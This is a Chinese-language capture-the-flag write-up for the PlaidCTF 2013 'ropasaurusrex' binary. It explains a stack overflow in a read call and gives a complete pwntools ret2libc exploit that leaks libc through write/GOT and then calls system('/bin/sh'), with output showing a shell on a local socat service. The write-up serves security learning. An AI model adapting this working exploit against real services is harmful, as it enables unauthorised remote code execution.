文章目录
这个程序流程很简单,它有两个功能,一个是read读入数据,一个是write输出数据.
我们发现在sub_80483F4()函数这里存在缓冲区溢出漏洞,buf大小为0x88(136)字节,而read最多可以读入0x100(256)字节。
1 2 3 4 5
| int __cdecl main() { sub_80483F4(); return write(1, "WIN\n", 4u); }
|
1 2 3 4 5 6
| ssize_t sub_80483F4() { char buf; // [sp+10h] [bp-88h]@1 return read(0, &buf, 0x100u); }
|
ropasaurusrex是一个32位的ELF文件
1 2 3
| longlong@ubuntu:~/ctf/plaidctf2013$ file ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092, stripped longlong@ubuntu:~/ctf/plaidctf2013$
|
我们发现它开了NX 保护
1 2 3 4 5 6 7
| gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled gdb-peda$
|
不知道远程服务器上有没有ASLR保护,假设它是开着的,在我的测试机器上是开着的。
1 2 3 4 5 6 7 8 9
| longlong@ubuntu:~/ctf/plaidctf2013$ ldd ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d linux-gate.so.1 => (0xf77af000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75e4000) /lib/ld-linux.so.2 (0x56574000) longlong@ubuntu:~/ctf/plaidctf2013$ ldd ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d linux-gate.so.1 => (0xf7789000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75be000) /lib/ld-linux.so.2 (0x5658b000) longlong@ubuntu:~/ctf/plaidctf2013$
|
接下来我们我们还原环境,将它用socat绑定在本地2323端口
1
| longlong@ubuntu:~/ctf/plaidctf2013$ socat TCP-LISTEN:2323,fork EXEC:./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d
|
思路:
- 构造rop链1泄露libc的基地址
- 计算sytem、bin/sh的真实地址,构造rop链2
EXP如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import * p = remote('127.0.0.1',2323) elf = ELF('./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d') libc = ELF('/lib/i386-linux-gnu/libc.so.6') bof = 0x80483f4 payload = '' payload += 'A' * 0x88 payload += 'AAAA' payload += p32(elf.symbols['write']) payload += p32(bof) payload += p32(1) payload += p32(elf.got['read']) payload += p32(4) p.send(payload) resp = p.recvn(4) read = u32(resp) libc_base = read - libc.symbols['read'] payload = '' payload += 'A' * 0x88 payload += 'AAAA' payload += p32(libc_base + libc.symbols['system']) payload += 'AAAA' payload += p32(libc_base + next(libc.search('/bin/sh'))) p.send(payload) p.interactive()
|
结果如下:
1 2 3 4 5 6 7 8 9 10 11
| longlong@ubuntu:~/ctf/plaidctf2013$ python ropasaurusrex.py [+] Opening connection to 127.0.0.1 on port 2323: Done [*] Switching to interactive mode $ whoami longlong $ ls libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d ropasaurusrex.py ropasaurusrex.py~ $
|